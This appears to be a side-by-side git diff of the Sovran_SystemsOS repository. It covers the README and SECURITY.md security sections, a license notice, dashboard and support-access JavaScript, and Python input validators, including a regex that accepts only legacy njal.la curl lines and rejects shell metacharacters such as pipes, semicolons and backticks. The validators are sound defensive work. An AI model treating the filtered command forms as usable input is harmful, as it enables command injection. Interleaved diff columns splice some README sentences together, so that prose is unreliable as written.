When you create a Bitcoin wallet in Sparrow Wallet, you generate a **24-word Wallet recovery words control the funds. Never share them with a website,
seed phrase**. You should also apply a **128-bit BIP39 passphrase**. These are support technician, cloud service, or chat application.
**two independent entropy sources** — both are required to recover your wallet,
and neither one alone is sufficient.
**Create each entropy source on different hardware.** For meaningful balances, prefer a well-reviewed hardware signer and follow its
verified backup process. A BIP39 passphrase is optional, advanced protection;
it is not a replacement for the recovery words. If you use one, back it up
separately—losing either item can make the wallet unrecoverable.
The seed phrase is generated by Sparrow Wallet on your Sovran_SystemsOS machine. Keep durable offline backups in separate secure locations. Test recovery before
The 128-bit passphrase should be generated on a separate device — for example: relying on a wallet, and begin with a small amount.
- A **GrapheneOS** phone using Bitwarden's passphrase generator
- A different computer running the **Diceware** program
This way, no single device ever produces or holds both sources of randomness.
If one device is ever compromised, the other entropy source remains unknown to
an attacker. Your wallet cannot be recovered without **both**.
This is not a recommendation against hardware wallets, dice, or any other
well-tested method of creating entropy. Those are established and valuable
approaches. If you use a hardware wallet, verify for yourself that its entropy
generation — both the software and the hardware — is sound and follows best
practices.
The takeaway is simply this: **how your entropy is created matters, and
generating your two entropy sources on two physically separate devices is a
strong practice to understand before setting up a Bitcoin wallet** with the
software included in Sovran_SystemsOS.
**You must do your own research.** The information above is basic educational
context to help you build your own best practices — not financial advice and not
a substitute for your own due diligence.
--- ---
## Security approach ## Security approach
Sovran_SystemsOS is designed around local ownership and explicit control. Sovran_SystemsOS uses layered controls:
Its security foundations include: - Pinned flake inputs and hash-pinned source archives
- Bitcoin and Lightning modules maintained in this repository
- Firewall enabled; public SSH and remote desktop disabled by default
- Separate service users, systemd sandboxing, and loopback bindings where practical
- Tor enforcement for supported Bitcoin services
- Restricted, time-limited support access with scoped `sudo`
- Operator-controlled public service exposure
- Reproducible builds from pinned flake inputs See [`SECURITY.md`](SECURITY.md) for the threat model, limitations, reporting,
- Firewall enabled by default and operator guidance. No operating system can protect funds after recovery
- Public SSH disabled by default words, administrator credentials, or the root account are compromised. Apply
- Remote desktop disabled by default updates and keep tested offline backups.
- Hub authentication
- Local-network Hub access through `sovransystemsos.local`
- Tor integration for the Bitcoin stack
- User-controlled service exposure
- Declarative system configuration
- Restricted technical-support access
- Auditable open-source code
No operating system can guarantee complete security. Users should still apply
updates, protect credentials, maintain backups, secure their local network,
and review any services they choose to expose publicly.
Bitcoin users must also securely back up wallet seed phrases, descriptors,
channel backups, and other recovery information. Never store your only wallet
backup on the same computer that holds the wallet.
--- ---
@@ -780,11 +751,15 @@ Sovran_SystemsOS would not have the same reliability, transparency, or reproduci
### nix-bitcoin ### nix-bitcoin
Special thanks go to the [nix-bitcoin](https://github.com/fort-nix/nix-bitcoin) project and its [contributors](https://github.com/fort-nix/nix-bitcoin/graphs/contributors). The in-repository Bitcoin stack began with code adapted from
[nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), primarily from commit
[`360e30f`](https://github.com/fort-nix/nix-bitcoin/commit/360e30fee5ba32f9fecc89bc35628195d9d2dbbe).
It has since been narrowed to Sovran's supported services and is maintained in
this repository. nix-bitcoin is no longer a flake input or build dependency.
nix-bitcoin provides the declarative foundation for building and operating Bitcoin and Lightning services on NixOS. Its work makes it possible to configure complex Bitcoin infrastructure—including nodes, Electrs, Lightning, Tor integration, and related services—in a reproducible and auditable way. We remain grateful to the nix-bitcoin contributors for the declarative and
security-focused foundation. Its MIT notice is retained in
Sovran_SystemsOS builds upon that foundation to make this infrastructure approachable through an integrated desktop, installer, and Sovran Hub. [`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md).
### Emmanuel Rosa and btc-clients-nix ### Emmanuel Rosa and btc-clients-nix
@@ -859,9 +834,10 @@ license.
> Individual upstream applications, packages, artwork, fonts, and other > Individual upstream applications, packages, artwork, fonts, and other
> components included with or built by Sovran_SystemsOS may have their own > components included with or built by Sovran_SystemsOS may have their own
> licenses and copyright holders. The AGPL-3.0 license for this repository does > licenses and copyright holders. The AGPL-3.0 license for this repository does
> not replace the licenses of independent upstream projects. > not replace those licenses.
Read the complete license terms in [`LICENSE`](LICENSE). Read [`LICENSE`](LICENSE) and
[`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md).
--- ---
+72 -75
View File
@@ -1,104 +1,101 @@
# Security Policy (SECURITY.md) # Security Policy
This document outlines the security policy, vulnerability disclosure process, threat model, and security best practices for **Sovran_SystemsOS**. ## Supported versions
--- | Release | Supported |
|---|:---:|
| Latest `1.0.x` stable release | Yes |
| `main` / `staging-dev` | Development only |
| Older than `1.0.0` | No |
## 1. Supported Versions Install the newest stable point release to receive security fixes.
We actively monitor and patch security vulnerabilities in Sovran_SystemsOS. Because the operating system is built on [NixOS](https://nixos.org), stable releases receive security updates backported from upstream Nixpkgs as well as our custom software updates. ## Report a vulnerability
| Version | Supported | Notes | **Do not open a public issue or pull request.** Report privately through:
|:---|:---:|:---|
| **1.0.x** (Stable) | Yes | Active stable release line. Patches are backported regularly. |
| **staging-dev** | Yes | Development line; updated frequently but may contain untested code. |
| **Legacy (< 1.0.0)** | No | Please upgrade to the latest stable release to ensure you have active security updates. |
--- - [GitHub Private Vulnerability Reporting](https://github.com/naturallaw777/Sovran_SystemsOS/security/advisories/new)
- Email: [support@sovransystems.com](mailto:support@sovransystems.com)
## 2. Reporting a Vulnerability Include the affected version, impact, reproduction steps, and a minimal proof of
concept. Never send wallet recovery words, private keys, or live credentials.
We take the security of self-custody systems, private clouds, and communications servers extremely seriously. If you discover a vulnerability, **please do not open a public issue, forum thread, or submit a public pull request.** We aim to acknowledge reports within two business days. Please allow reasonable
time for a fix and coordinated disclosure.
Instead, report vulnerabilities privately through one of the following secure channels: ## Security model
1. **Email:** Send an encrypted or plain-text email to [support@sovransystems.com](mailto:support@sovransystems.com). ### Local-first operation
- If sending sensitive information, please contact us first to establish a secure PGP-encrypted communication channel.
2. **GitHub Private Vulnerability Reporting:** If you are viewing this on GitHub, you can report vulnerabilities privately via the **Security** tab of this repository under **Vulnerability reporting**.
### What to Include in a Report: The Hub and core data run on operator-owned hardware. The Hub is intended for a
To help us triage and resolve the issue quickly, please include: trusted local network and must not be port-forwarded to the internet. Public
- A clear description of the vulnerability and its potential impact. services, DDNS, software updates, and optional third-party relays require
- Step-by-step instructions to reproduce the issue (including any scripts or configuration snippets). external networks and are outside a “fully offline” model.
- The version of Sovran_SystemsOS you tested (found in the Hub header or `/etc/nixos/VERSION`).
- Any potential remediation steps or suggestions you may have.
### Our Response and Disclosure Process: The local Hub currently uses HTTP. Authentication does not encrypt local network
1. **Acknowledgment:** We will acknowledge receipt of your report within **2448 hours** and provide a tracking reference. traffic, so use a trusted LAN and avoid public or guest Wi-Fi.
2. **Triage:** We will investigate and verify the vulnerability privately. We may reach out to you for clarifying details.
3. **Remediation:** If verified, we will develop a patch on a private security branch.
4. **Release:** We will coordinate a release date with you and publish the patch to Gitea `stable` and GitHub `main`.
5. **Advisory:** A public security advisory will be published, giving full credit to you for the discovery (unless you request anonymity).
We ask that you practice **coordinated vulnerability disclosure**, giving us reasonable time to patch the vulnerability before disclosing it publicly to protect other operators' funds and data. ### In-repository Bitcoin stack
--- Bitcoin and Lightning modules are maintained under `modules/bitcoin/`. They were
adapted from nix-bitcoin, but Sovran builds do not import or fetch nix-bitcoin.
The `nix-bitcoin.*` option namespace and `/etc/nix-bitcoin-secrets` path remain
only for upgrade compatibility.
## 3. The Sovran_SystemsOS Security Architecture ### Supply chain and integrity
Understanding our underlying threat model and architectural decisions will help you evaluate the system's security. `flake.lock` pins flake inputs, and fetched source archives use fixed hashes.
Builds still depend on pinned Nixpkgs, NixVim, btc-clients-nix, upstream source
archives, and any configured binary cache. Keeping the Bitcoin modules in this
repository reduces an external dependency; it does not remove supply-chain
risk.
### A. Local-First Threat Model The Hub integrity check verifies Nix store contents and compares the running
- **No Cloud Dependency:** Your data, keys, and credentials live entirely on your physical hardware. system with a build from local `/etc/nixos`. It does not authenticate the release
- **Local network Hub Access:** The Sovran Hub is served directly on your local network (`sovransystemsos.local`). It is protected by authentication and **never** automatically exposed to the public internet. publisher or protect against an attacker who already controls root and can
- **Localhost Auto-Login:** Auto-login to the Hub is restricted strictly to local connections from `127.0.0.1` or `::1` (e.g., when accessing it directly from the local GNOME desktop). LAN and WAN clients must authenticate via password. change both the system and local configuration.
### B. Declarative & Reproducible NixOS Foundation ### Access and service isolation
- **No Supply Chain Drift:** Dependencies, packages, and system components are strictly pinned using Nix flakes (`flake.lock`).
- **Reproducible Integrity Checks:** Operators can verify system integrity at any time via the Hub (`/api/security/verify-integrity`), which runs `nix store verify --all` to check binary consistency and rebuilds the system state from local files to guarantee it matches the expected configuration.
- **Default-Hardened Base:** Firewalls are enabled by default (`networking.firewall.enable = true`), public SSH and remote desktop are disabled by default, and legacy kernel modules like `rxrpc` are blacklisted to reduce the kernel's attack surface.
### C. Restricted Tech Support ("Zero-Trust Support") - Firewall enabled by default
To prevent support staff or malicious actors from accessing your private wallets, the operating system employs a unique **"Zero-Trust Support"** architecture: - Public SSH and remote desktop disabled by default
- **Restricted System Account:** Support sessions use a restricted, non-root account (`sovran-support`) with heavily scoped shell access and limited `sudo` privileges (restricted strictly to viewing logs, editing configuration, and rebuilding or restarting services). - Separate service users and systemd sandboxing where supported
- **POSIX ACL Wallet Lockout:** Enabling support immediately triggers POSIX ACLs (`setfacl -m u:sovran-support:---`) to block the support user from reading, writing, or traversing sensitive directories (such as `/etc/nix-bitcoin-secrets`, `/var/lib/bitcoind`, `/var/lib/lnd`, and `/home`). - Administrative service ports bound to loopback where practical
- **User-Controlled Timed Unlock:** Support staff can *only* access wallet files if the operator explicitly grants a time-limited unlock from the Hub interface. This unlock automatically expires, re-locking the directories. - Tor enforced for supported Bitcoin traffic and onion services
- **Tamper-Evident Auditing:** All support actions (enabling, disabling, wallet unlocking, or locking) are logged in a tamper-evident audit trail (`/var/log/sovran-support-audit.log`) readable directly by the operator. - Public web services exposed only when enabled by the operator
### D. Native Cryptographic Isolation Tor reduces network exposure for configured Bitcoin services. It is not a
- **Tor Network Integration:** Upstream Bitcoin services (Knots/Core, Electrs, LND) utilize native Tor integration, preventing your home IP address from leaking to the public network or third-party node providers. guarantee against every IP leak, application bug, or traffic-analysis attack.
- **Isolated Lightning Wallets:** Nostr Wallet Connect (NWC) uses isolated, sandboxed Lightning wallets with specific spending limits and access presets (e.g., receive-only), keeping your main node funds completely isolated from individual apps.
--- ### Restricted support access
## 4. Security Best Practices for Operators (Users) Support uses a per-session SSH key on the non-root `sovran-support` account.
Sessions expire after 24 hours and have a small allowlist of `sudo` commands.
Wallet paths receive deny ACLs unless the operator explicitly removes them.
Disabling support removes the key and reapplies the ACLs.
No software can provide absolute security. You are the ultimate sovereign of your machine. Follow these best practices to keep your system and assets secure: Support events are written to `/var/log/sovran-support-audit.log`. This is a
local audit log, not a cryptographically tamper-evident record.
### 🔑 1. Split Wallet Entropy ## Out of scope
When setting up a Bitcoin wallet, **generate your two entropy sources on separate, unconnected hardware**:
- **Seed Phrase:** Generated by Sparrow Wallet on your Sovran_SystemsOS machine.
- **BIP-39 Passphrase (128-bit):** Generated on a separate device (e.g., a GrapheneOS phone using a trusted password generator or offline Diceware dice).
- *Why?* If either device is compromised, your wallet remains secure because an attacker needs **both** independent sources of randomness to recover it.
### 💾 2. Implement a Robust Backup Strategy Sovran_SystemsOS cannot protect against:
- **Off-Machine Backups:** Never store your only wallet backups, seed phrases, or descriptor backups on the same computer as your running wallet.
- **Descriptor & Channel Backups:** If using Lightning (LND), regularly back up your Static Channel Backups (SCB) and store them off-site. A node hardware failure can permanently lock up channel funds without a fresh SCB.
- **Ext4 Backups:** If using the Hub's Manual Backup utility, ensure you are backing up to a dedicated **ext4-formatted** external drive. This preserves Linux-native security metadata, permissions, and POSIX ACLs.
### 🛡️ 3. Maintain Network and Access Hygiene - Compromised root or administrator credentials
- **Public SSH Off:** Keep SSH remote access disabled in the Hub unless you actively need it. If enabled, Fail2Ban is active, but you should still enforce a strong system password. - Stolen recovery words, private keys, or backups
- **Strong Diceware Passwords:** Ensure the system `free` and `root` users have strong passphrases. Avoid re-using passwords across services. - Malicious or compromised hardware, firmware, or build infrastructure
- **Guest Networks:** Do not access the Sovran Hub over public or guest Wi-Fi networks. These networks often lack isolation, exposing local network traffic to other devices. - Services the operator deliberately exposes or weakens
- **Disable RDP When Done:** Turn off Remote Desktop (RDP) once your administrative session is finished. - Physical access without appropriate disk and firmware protections
### 🧑‍💻 4. Hardening Support Sessions ## Operator basics
If you require technical support from Sovran Systems:
- **Enable SSH and Support on-demand:** Only enable SSH Remote Access and Support sessions when actively working with a technician, and **disable** them immediately when the session is over.
- **Confirm Removal:** The Hub's support page includes a "Verify Removal" feature. Always use it to ensure public keys have been fully stripped from the system.
- **Restrict Wallet Access:** Only unlock your wallet directories if absolutely necessary for the support session, and choose the shortest possible duration. Re-lock manually as soon as the troubleshooting steps are complete.
- **Review Audit Logs:** Periodically inspect the support audit log via the Hub interface to review exactly when support sessions were toggled or unlocked.
--- - Verify downloads and stop if the checksum does not match.
- Apply stable security updates promptly.
- Use unique passwords and keep SSH/RDP off when not needed.
- Prefer a well-reviewed hardware signer for meaningful Bitcoin balances.
- Keep tested, offline backups in separate secure locations.
- Never share recovery words or private keys with support.
- Disable support access when the session ends and review the audit log.
Thank you for helping us maintain a highly secure, private, and sovereign computing operating system! No software can provide absolute security. Review your configuration and threat
model before storing important funds or data.
+33
View File
@@ -0,0 +1,33 @@
# Third-Party Notices
## nix-bitcoin
Portions of `modules/bitcoin/` and selected package definitions were adapted
from [fort-nix/nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), commit
[`360e30fee5ba32f9fecc89bc35628195d9d2dbbe`](https://github.com/fort-nix/nix-bitcoin/commit/360e30fee5ba32f9fecc89bc35628195d9d2dbbe).
The current Sovran build does not import or fetch nix-bitcoin.
MIT License
Copyright (c) 2019 nix-bitcoin developers
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Other packaged applications retain their own upstream licenses and copyright
notices.
@@ -0,0 +1,241 @@
"""Sovran Hub — pure security validation helpers.
This module contains the dependency-light security helper functions used by
the Hub server. Keeping them here allows tests to import and exercise the
exact production implementations rather than maintaining separate copies.
All functions in this module depend only on the Python standard library.
"""
from __future__ import annotations
import base64
import ipaddress
import re
import urllib.parse
# ── Nix string escaping ────────────────────────────────────────────────────────
def _nix_escape(value: str) -> str:
"""Escape *value* for use inside a Nix double-quoted string literal.
Handles backslashes, double-quotes, newlines, carriage returns, tabs, and
Nix-specific anti-quotation sequences (``${...}``). The returned value is
safe to embed as ``"<returned_value>"`` in generated Nix source.
"""
value = value.replace("\\", "\\\\")
value = value.replace('"', '\\"')
value = value.replace("\n", "\\n")
value = value.replace("\r", "\\r")
value = value.replace("\t", "\\t")
value = value.replace("${", "\\${")
return value
# ── Nostr npub validation (NIP-19 / Bech32) ───────────────────────────────────
# Fast pre-filter: "npub1" followed by exactly 58 lower-case bech32 characters.
NPUB_RE = re.compile(r"^npub1[023456789acdefghjklmnpqrstuvwxyz]{58}$")
_BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
_BECH32_GENERATOR = (0x3B6A57B2, 0x26508E6D, 0x1EA119FA, 0x3D4233DD, 0x2A1462B3)
def _bech32_polymod(values: list[int]) -> int:
chk = 1
for value in values:
top = chk >> 25
chk = ((chk & 0x1FFFFFF) << 5) ^ value
for i in range(5):
if (top >> i) & 1:
chk ^= _BECH32_GENERATOR[i]
return chk
def _bech32_hrp_expand(hrp: str) -> list[int]:
return [ord(c) >> 5 for c in hrp] + [0] + [ord(c) & 31 for c in hrp]
def _bech32_create_checksum(hrp: str, data: list[int]) -> list[int]:
values = _bech32_hrp_expand(hrp) + data
polymod = _bech32_polymod(values + [0, 0, 0, 0, 0, 0]) ^ 1
return [(polymod >> (5 * (5 - i))) & 31 for i in range(6)]
def _bech32_convertbits_decode(data: list[int]) -> list[int] | None:
"""Convert a 5-bit integer sequence to 8-bit bytes, stripping padding."""
acc = 0
bits = 0
ret: list[int] = []
for value in data:
acc = (acc << 5) | value
bits += 5
while bits >= 8:
bits -= 8
ret.append((acc >> bits) & 0xFF)
if bits >= 5 or ((acc << (8 - bits)) & 0xFF):
return None # invalid padding
return ret
def _bech32_decode(bech: str) -> tuple[str, bytes] | None:
"""Decode a bech32 string. Returns ``(hrp, payload_bytes)`` or ``None``.
Verifies:
- Lowercase-only (mixed case rejected per BIP-173).
- Only valid bech32 charset characters.
- Valid checksum.
- Exactly one separator (``1``).
- Minimum data part length (≥ 8 chars = 6 checksum + ≥ 2 data).
"""
if bech != bech.lower():
return None # mixed case
sep = bech.rfind("1")
if sep < 1 or sep + 7 > len(bech):
return None
hrp = bech[:sep]
data_part = bech[sep + 1:]
if any(c not in _BECH32_CHARSET for c in data_part):
return None
decoded = [_BECH32_CHARSET.index(c) for c in data_part]
if _bech32_polymod(_bech32_hrp_expand(hrp) + decoded) != 1:
return None # bad checksum
converted = _bech32_convertbits_decode(decoded[:-6])
if converted is None:
return None
return hrp, bytes(converted)
def _validate_npub(value: str) -> bool:
"""Return ``True`` iff *value* is a valid NIP-19 Nostr npub.
Checks:
- Lowercase ``npub`` HRP.
- Valid bech32 charset (no uppercase, no invalid chars).
- Valid bech32 checksum.
- Exactly 32 decoded payload bytes (256-bit public key).
- Retains the original regex as a fast pre-filter.
"""
if not NPUB_RE.fullmatch(value):
return False
result = _bech32_decode(value)
if result is None:
return False
hrp, payload = result
return hrp == "npub" and len(payload) == 32
# ── DDNS URL validation ────────────────────────────────────────────────────────
_DDNS_URL_MAX_LEN = 2048
_DDNS_CONTROL_RE = re.compile(r"[\x00-\x1f\x7f]")
# Allowlist: only the official Njal.la provider hostnames are accepted for
# DDNS update URLs. Any other host would allow SSRF against the Hub's
# internal network.
_DDNS_ALLOWED_HOSTNAMES: frozenset[str] = frozenset(["njal.la", "www.njal.la"])
def _validate_ddns_url(url: str) -> str:
"""Validate *url* as a safe DDNS update URL and return it normalised.
Rules:
- Must be a valid URL parseable by urllib.parse.
- Scheme must be ``https`` (case-insensitive).
- No userinfo (credentials must not be embedded in the URL).
- No fragment.
- No control characters.
- Must not exceed ``_DDNS_URL_MAX_LEN`` bytes.
- Hostname must be the exact Njal.la provider hostname (njal.la or www.njal.la).
- Port must be absent or the default HTTPS port 443.
- No percent-encoded null bytes.
Raises ``ValueError`` with a safe (non-secret) message on failure.
"""
if not url:
raise ValueError("DDNS URL must not be empty")
if len(url) > _DDNS_URL_MAX_LEN:
raise ValueError("DDNS URL exceeds maximum length")
if _DDNS_CONTROL_RE.search(url):
raise ValueError("DDNS URL contains control characters")
try:
parsed = urllib.parse.urlparse(url)
except Exception:
raise ValueError("DDNS URL could not be parsed")
if parsed.scheme.lower() != "https":
raise ValueError("DDNS URL must use the https scheme")
if parsed.username or parsed.password:
raise ValueError("DDNS URL must not contain credentials")
if parsed.fragment:
raise ValueError("DDNS URL must not contain a fragment")
if parsed.port is not None and parsed.port != 443:
raise ValueError("DDNS URL must use the default HTTPS port")
hostname = parsed.hostname or ""
if not hostname:
raise ValueError("DDNS URL must contain a hostname")
# Reject raw IP addresses
try:
ipaddress.ip_address(hostname)
raise ValueError("DDNS URL hostname must not be a raw IP address")
except ValueError as exc:
if "raw IP" in str(exc):
raise
# Allowlist: only Njal.la
if hostname.lower() not in _DDNS_ALLOWED_HOSTNAMES:
raise ValueError(
f"DDNS URL hostname is not an allowed Njal.la host "
f"(got {hostname!r})"
)
if "%00" in url.lower():
raise ValueError("DDNS URL must not contain encoded null bytes")
# Reject any remaining $ expressions — after ${IP} substitution there
# must be none. Callers that store ${IP} placeholder URLs must substitute
# before calling this function.
if "$" in url:
raise ValueError("DDNS URL must not contain $ expressions")
# Require the exact /update/ path used by Njal.la
if parsed.path != "/update/":
raise ValueError("DDNS URL path must be exactly /update/")
return url
# ── SSH public-key validation ─────────────────────────────────────────────────
_SSH_PUBKEY_ALGORITHMS = frozenset([
"ssh-ed25519",
"ecdsa-sha2-nistp256",
"ecdsa-sha2-nistp384",
"ecdsa-sha2-nistp521",
"sk-ssh-ed25519@openssh.com",
])
def _validate_ssh_pubkey(key: str) -> str:
"""Validate *key* as a single OpenSSH public key and return it normalised.
Accepts only single-line keys with a supported algorithm, valid base64
payload, and an optional comment. Rejects options, multiple lines,
control characters, and unsupported algorithms.
Raises ``ValueError`` with a safe message on failure.
"""
key = key.strip()
if not key:
raise ValueError("SSH public key must not be empty")
if _DDNS_CONTROL_RE.search(key):
raise ValueError("SSH public key contains control characters")
if "\n" in key or "\r" in key:
raise ValueError("SSH public key must be a single line")
parts = key.split()
if len(parts) < 2:
raise ValueError("SSH public key is malformed")
algo, b64 = parts[0], parts[1]
if algo not in _SSH_PUBKEY_ALGORITHMS:
raise ValueError(f"Unsupported SSH key algorithm: {algo!r}")
try:
decoded = base64.b64decode(b64, validate=True)
except Exception:
raise ValueError("SSH public key payload is not valid base64")
if len(decoded) < 20:
raise ValueError("SSH public key payload is too short")
return key
File diff suppressed because it is too large Load Diff
@@ -1,5 +1,28 @@
/* ── Service tile card (status-only) ─────────────────────────────── */ /* ── Service tile card (status-only) ─────────────────────────────── */
.dashboard-loading {
min-height: 180px;
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
color: var(--text-secondary);
font-size: 0.9rem;
}
.dashboard-loading-spinner {
width: 16px;
height: 16px;
border: 2px solid var(--border-color);
border-top-color: var(--accent-color);
border-radius: 50%;
animation: dashboard-loading-spin 0.8s linear infinite;
}
@keyframes dashboard-loading-spin {
to { transform: rotate(360deg); }
}
.service-tile { .service-tile {
width: 160px; width: 160px;
min-height: 130px; min-height: 130px;
+24 -15
View File
@@ -187,30 +187,39 @@ function showSecurityBanner() {
// ── Init ────────────────────────────────────────────────────────── // ── Init ──────────────────────────────────────────────────────────
async function init() { async function init() {
// Check onboarding status first — redirect to wizard if not complete // These lightweight requests are independent. Running them together avoids
// making the dashboard wait through three serial network round-trips before
// it can even start loading the service tiles.
var onboardingStatus = null;
var bannerData = null;
var cfg;
try { try {
var onboardingStatus = await apiFetch("/api/onboarding/status"); var startupResults = await Promise.all([
if (!onboardingStatus.complete) { apiFetch("/api/onboarding/status").catch(function() { return null; }),
window.location.href = "/onboarding"; apiFetch("/api/security/banner-status").catch(function() { return null; }),
return; apiFetch("/api/config"),
} ]);
onboardingStatus = startupResults[0];
bannerData = startupResults[1];
cfg = startupResults[2];
} catch (_) { } catch (_) {
// If we can't reach the endpoint, continue to normal dashboard // If config cannot be loaded, continue with the normal service fallback.
cfg = null;
}
if (onboardingStatus && !onboardingStatus.complete) {
window.location.href = "/onboarding";
return;
} }
// Show first-login security banner only for machines that went through onboarding // Show first-login security banner only for machines that went through onboarding
// (legacy machines without the onboarding flag will never see this) // (legacy machines without the onboarding flag will never see this)
try { if (bannerData && bannerData.show) {
var bannerData = await apiFetch("/api/security/banner-status"); showSecurityBanner();
if (bannerData && bannerData.show) {
showSecurityBanner();
}
} catch (_) {
// Non-fatal — silently ignore
} }
try { try {
var cfg = await apiFetch("/api/config"); if (!cfg) throw new Error("Hub config unavailable");
_currentRole = cfg.role || "server_plus_desktop"; _currentRole = cfg.role || "server_plus_desktop";
if (cfg.category_order) { if (cfg.category_order) {
for (var i = 0; i < cfg.category_order.length; i++) { for (var i = 0; i < cfg.category_order.length; i++) {
+44 -3
View File
@@ -110,12 +110,26 @@ function renderSupportInactive() {
'</div>', '</div>',
'<div class="support-steps"><div class="support-steps-title">What happens:</div><ol>', '<div class="support-steps"><div class="support-steps-title">What happens:</div><ol>',
'<li>A restricted <code>sovran-support</code> user is created with limited access</li>', '<li>A restricted <code>sovran-support</code> user is created with limited access</li>',
'<li>Our SSH key is added only to that restricted account</li>', '<li>Support\'s SSH key is added only to that restricted account — not to root</li>',
'<li>Wallet files are locked via access controls — not visible to support</li>', '<li>Wallet files are locked via access controls — not visible to support</li>',
'<li>You control if and when wallet access is granted (time-limited)</li>', '<li>You control if and when wallet access is granted (time-limited)</li>',
'<li>All session events are logged for your audit</li>', '<li>All session events are logged for your audit</li>',
'<li>Access expires automatically after 24 hours</li>',
'</ol></div>', '</ol></div>',
'<div class="support-key-section">',
'<label class="support-key-label" for="support-ssh-pubkey">',
'<strong>Paste the support SSH public key provided by Sovran Systems:</strong>',
'</label>',
'<textarea id="support-ssh-pubkey" class="support-key-input" rows="3" ',
'placeholder="ssh-ed25519 AAAA… support-session" ',
'spellcheck="false" autocomplete="off" autocorrect="off" autocapitalize="off"></textarea>',
'<p class="support-key-hint">',
'The key must start with <code>ssh-ed25519</code> or <code>ecdsa-sha2-nistp256</code>. ',
'Do not paste your own private key — only paste the one-time public key sent by Sovran Systems support.',
'</p>',
'</div>',
'<button class="btn support-btn-enable" id="btn-support-enable">Enable Support Access</button>', '<button class="btn support-btn-enable" id="btn-support-enable">Enable Support Access</button>',
'<p id="support-key-error" class="support-key-error" style="display:none;color:#c0392b;margin-top:8px;"></p>',
'<p class="support-fine-print">You can revoke access at any time. When you end the session, you\'ll be able to disable SSH to return to the default secure state.</p>', '<p class="support-fine-print">You can revoke access at any time. When you end the session, you\'ll be able to disable SSH to return to the default secure state.</p>',
'</div>', '</div>',
].join(""); ].join("");
@@ -227,16 +241,43 @@ function renderSupportRemoved(verified) {
async function enableSupport() { async function enableSupport() {
var btn = document.getElementById("btn-support-enable"); var btn = document.getElementById("btn-support-enable");
var errEl = document.getElementById("support-key-error");
var textarea = document.getElementById("support-ssh-pubkey");
if (errEl) { errEl.style.display = "none"; errEl.textContent = ""; }
var sshKey = textarea ? textarea.value.trim() : "";
if (!sshKey) {
if (errEl) { errEl.textContent = "Please paste the SSH public key provided by Sovran Systems support."; errEl.style.display = "block"; }
return;
}
// Client-side pre-validation: key must start with a known algorithm prefix
var validPrefixes = ["ssh-ed25519 ", "ecdsa-sha2-nistp256 ", "ecdsa-sha2-nistp384 ", "ecdsa-sha2-nistp521 ", "sk-ssh-ed25519@openssh.com "];
var hasValidPrefix = validPrefixes.some(function(p) { return sshKey.startsWith(p); });
if (!hasValidPrefix) {
if (errEl) { errEl.textContent = "Invalid key format. The key must start with ssh-ed25519 or ecdsa-sha2-nistp256. Do not paste a private key."; errEl.style.display = "block"; }
return;
}
if (sshKey.indexOf("\n") !== -1) {
if (errEl) { errEl.textContent = "The key must be a single line. Please check the pasted value."; errEl.style.display = "block"; }
return;
}
if (btn) { btn.disabled = true; btn.textContent = "Enabling…"; } if (btn) { btn.disabled = true; btn.textContent = "Enabling…"; }
try { try {
await apiFetch("/api/support/enable", { method: "POST" }); await apiFetch("/api/support/enable", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ ssh_public_key: sshKey }),
});
var status = await apiFetch("/api/support/status"); var status = await apiFetch("/api/support/status");
_supportStatus = status; _supportStatus = status;
_supportEnabledAt = status.enabled_at; _supportEnabledAt = status.enabled_at;
renderSupportActive(status); renderSupportActive(status);
} catch (err) { } catch (err) {
if (btn) { btn.disabled = false; btn.textContent = "Enable Support Access"; } if (btn) { btn.disabled = false; btn.textContent = "Enable Support Access"; }
alert("Failed to enable support access. Please try again."); var detail = (err && err.detail) ? err.detail : "Failed to enable support access. Please check the key and try again.";
if (errEl) { errEl.textContent = detail; errEl.style.display = "block"; }
else { alert(detail); }
} }
} }
+283
View File
@@ -0,0 +1,283 @@
"""Sovran Hub — injectable support session operations.
Functions here handle legacy migration, root-key removal, and support-session
expiry. All filesystem paths, clocks, and callback functions are injectable
so that the test suite can exercise the exact production implementations with
temporary files and mocks rather than maintaining separate copies.
All functions depend only on the Python standard library and the co-located
``security_helpers`` module.
"""
from __future__ import annotations
import json
import os
import re
import tempfile
import time as _time_module
from typing import Callable
# ── Legacy Njalla curl line regex ─────────────────────────────────────────────
#
# Matches both forms written by old Hub versions:
# curl [flags] https://njal.la/... (unquoted)
# curl [flags] "https://njal.la/..." (quoted — historical form)
#
# Optional flags (in order): --silent, --max-time N, --fail
#
# Rejected outright: semicolons, pipes, backticks, redirects, newlines,
# ${...} except the literal ${IP} placeholder, and any extra arguments.
_LEGACY_NJALLA_CURL_RE = re.compile(
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
r'(?:'
r'"(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)"' # group 1: quoted
r'|(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f"]|\$\{IP\})+)' # group 2: unquoted
r')$'
)
# The exact base64 blob of the historical fleet-wide root support key that
# was shipped with old releases of Sovran_SystemsOS and must be removed from
# /root/.ssh/authorized_keys on upgrade.
LEGACY_ROOT_KEY_BLOB = (
